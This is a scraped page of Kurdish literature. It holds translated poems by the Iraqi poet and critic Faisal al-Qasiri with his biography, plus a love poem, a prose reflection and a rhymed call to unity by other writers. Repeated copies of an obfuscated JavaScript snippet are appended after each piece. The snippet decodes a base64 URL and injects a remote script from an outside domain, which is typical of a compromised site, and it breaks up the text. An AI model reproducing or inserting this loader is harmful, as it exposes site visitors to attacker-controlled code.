وەرگێڕان:
حەسەنێ سلێڤانەیی

– هەتكبەری –
بێ شەرم
بێ شەرم
زێرەڤانان ب حەڤسیانڤە میزت.
* *
ل ئەب غرێب
بێگۆمان درەو ئاشكرابوون و
دیموكراتی لبەر تاڤێ
درویسن !
* *
جەنەرال هات
حەڤسی كۆمكرن و گۆت:
ئەم ل ڤێرێ ب ناڤێ ئازادیێ
ناسناما وە ژ ناڤ دبەین.
ب ناڤێ دیموكراسیێ مینا بەرخێن جەژنێ
وە سەرژێ دكین
ب ناڤێ زەلالی یێ
بۆ كوشتیانبەهیداریێ دداین
ئو یا دوماهیێ گەلی حەڤسیان
بلا پەیڤێن من نانێ وە یێ رۆژانە بن .

– بروسكە –
نوكە من ببە
بۆ پێلەكێ من ببە
ژ چاڤێن من، من ببە
ژ گوهێن من، من ببە
ل بەڕی یا خەونێن خوە من بژالە بكە
من ددەفتەرا ڕۆژێن خوەدا بنڤیسە
دبت ئەز تلیێن ژ رۆناهیەكا گەش
د تەدا شین ببم
یان تو د پیتێن نڤێژەكا نهێنی دا
شین ببی.
نوكە من ببە .

– هندابوون –
دو تشت
ل وەلاتێ من
بێ خەم هندابوون
خوەشی هەمی و
ئێمناهی.
* *
ل وەلاتێ من
مرۆڤ ما
بێ هش و وژدان
گوشتێ برایێ خوە یێ مرۆڤ دخوت.
* *
ل وەلاتێ من چ جە نینە
بۆ كەیفخوەشیا گۆتین
ژ پەنجەركا پەرلەمانی دێ ئێت!

– هەلبەست ژ رۆژهەلاتا دلی –
ـ زارۆكینی
رووبارەكە هەردەم ب حیلە حیلە
د خوا من دا .
– باران
هەڤالێ هەلبەستڤانایە
لێ نەیارێ سەردانێن تامسارن
– ئەڤینی
دو پیتن
یا ئێكێ شرینە
یا دویێ هەژی یە
– ژن
ژ فێقیێ دیتنێ هاتیە ئافراندن
دبت سێڤەك بت
ئو دبت هەلبەستەك بت
یان كەوكەبەك ل بلنداهیا بت.
– دۆرپێج
درێژیا تلیێن وی دەه مارن
تەیرێ مرنا رەش هلدگرت
– سوبەهی
دبێژم سوبەهی
ئەورێ دەهێ دێڤشكێت و
هەیڤ دێ بوورت.
– ل دەمێ بووری
ڕتم بۆ بارانێ بوو
ئو برویسی بۆ هەلبەستێ بوو .
– باغچەیێن پرسیارێ
هەلبەستێن دژی تاریستانێ نە و
ئەسمانەكێ ب گەودێ ئەڤینێ یە.

د. فەیصەل ئەلقصیری: هەلبەستڤان و رەخنەگرەكێ ناڤدارێ ئیراقێ یە، خلاتێ ئێكێ ب رەخنەیا ئەدەبی یا الگیب صالح وەرگرتیە، ژ دایكبوویێ سالا ١٩٥٧ ل مویسل، دكتوراە ب فەلسەفا ئەدەبێ ئەرەبی یێ نوی ژ كولیژا ئادابا زانكۆیا مویسل ل ٢٠٠٥ وەرگرتیە.
ژ بەرهەمێن چاپكری: حدائق الاستفهام شعر ٢٠٠٠. اغنی لكم شعر ٢٠٠٠ . قراگیس التیه شعر ٢٠٠٦. بنیە القصیدە فی شعر عزالدین المناصرە نقد ٢٠٠٦ اڵاردن . جمالیات النص الادبی نقد ٢٠١٢ سوریە . لسەر ئەدەبێ كوردی چەند ڤەكۆلینێن ب نرخ هەنە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

بەشیرا دەروێش

ب تە تەنێ
ئەزێ گەردوونێ تەژی بكەم
هەموو گولان ب بێهنا تە
بپێچم
تو تەنێ بەسی
بێهنا قەهوا كەزوانان
ژ سەر دێمێ تە د فڕە
دەما كو خوەدا تو دای
فریشتە و پەری
ژ تە ڕە سجۆدێ برن
بەژنا خوە
ل بەر تە د چەماندن
تو نە ژ پەراسۆیێ ئادەمی
تو گەردوون ب خوەیی
نە د گوهێ تەدا دبێژم نا
ب دەنگەكی بلند
دەنگڤەدانەكی بدە
ئەز ژ تە حەز دكم
تو ب تەنێ
دل من د سینگا خوە دە
دیل دگرە
فریشتا وەلاتێ عشقێ
دەرچوویا پەرستگەها ئینانا
ل بن دارا سێڤێ
ئەز بلا ببم گونەهكار
مادەمكی تو هەی
یار..(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

متین وەرمێلی

چەندین سال بوون، ئەز لێ د گەریام، هەڕ ڕۆژ ئێكی ناڤ و نیشانەك د گۆتە من، نیڤەكا ژیێ من پێ چوو و من پەیدا نەكر، چاڤ كێم بوون، قەدەم سست بوون، هەر فەقەراتەك بۆ لایەكی چوو، لەرزین كەفتە دەستا، لسەر ئەڤێ هەمیێ ڕا، رۆژەكێ من دیت، كەیفا من گەلەك هات، من گۆت؛ گەلەك باشە ئەگەر د تەمەنێ خوەدا جارەكێ ژی ببینم بەسە.
دگەل دیتنێ، من خو د هەمبێزا وێ وەركر، و من گۆتێ؛ تو ل كیڤە بوویی، هندە سالە ئەز یێ چاڤەرێی تە، ئەڤرۆ ئەز دلخۆشترین مرۆڤم، ژبەر كو من د ژیانا خوەدا راستیەك دیت و من هەمبێزكر، دو پێنگاڤا چوو پاش، و كەڤلوژانكێ خوە د سەر خوەدا ئینا خوار و گۆت؛ ببۆرە ئەز درەوەكا بچویكم من یا خوە د ناڤ ئەڤێ راستیێ ڕا ڤەشارتی، بەلێ هەر زوی من زانی ئەو درەوا خوە د ناڤ راستیەكێ ڕا ڤەشێریت دێ درەوا ژی كەت، و ئەو گەلەكا مەزنە، ژ هینگێ وەرە من دەست یێن ژ لێگەریانا راستیێ بەرداین، لێ جارا هزرا خوە دكەم، و دبێژم، گەلۆ چێدبیت، رۆژەكێ درەوەك بهێتە بەرامبەر من و دەست دەتە گەڤلوژانكێ خوە و بێژیت ئەز راستیەكم و من ا خ دناڤ ڤێ درەوێ ڕا ڤەشارتی، لێ ئەز نامینمە ل هیڤیا وێ دیدارێ؛چونكی دزانم ئەو بتنێ خەیالەكە، و د خەونان ژی دا روینادت، خوەزیێن وی یێن راستی دیتی و ژ دل هەمبێزكری.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

جەگەر كەمال ڕێكانی

خــامــەیێ خــۆ هـــەردەم مـــە دایە كاری
گــەلـــو رابـــن گـــوهــــــ بــدەن ڤـێ شیرەتێ
پـەیـــامـــا مـــن بۆ وە یــــــە ب ســــۆزداری
یەكبگـــرن دا ژ دەســـت نــــەدەن نعمەتێ
ژیـــن ب خــــەبـــات و ئێكــڕێزی جــــــوانە
گەر ئێك نەبن دێ ژ دەست دەن قیمــەتێ
هـــــەتـــا كـــەنـــگــــــی دێ مینن ب ەلیل
وەرن كـــاركــــــەیــن بلا بـبـەین زەحمـەتێ
نـەزانین و گــــەنــدەلـــــی پــیــســــە شۆلن
تـــو ب وان نابیە ئـــەهــلــــێ رەحــمـــەتێ
ئــالا دادی و یـــەكـــبــــوونـــێ بلندكــــەن
دا ســـەركـــەفــــن و نـــەبینن زیــللــەتــێ(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();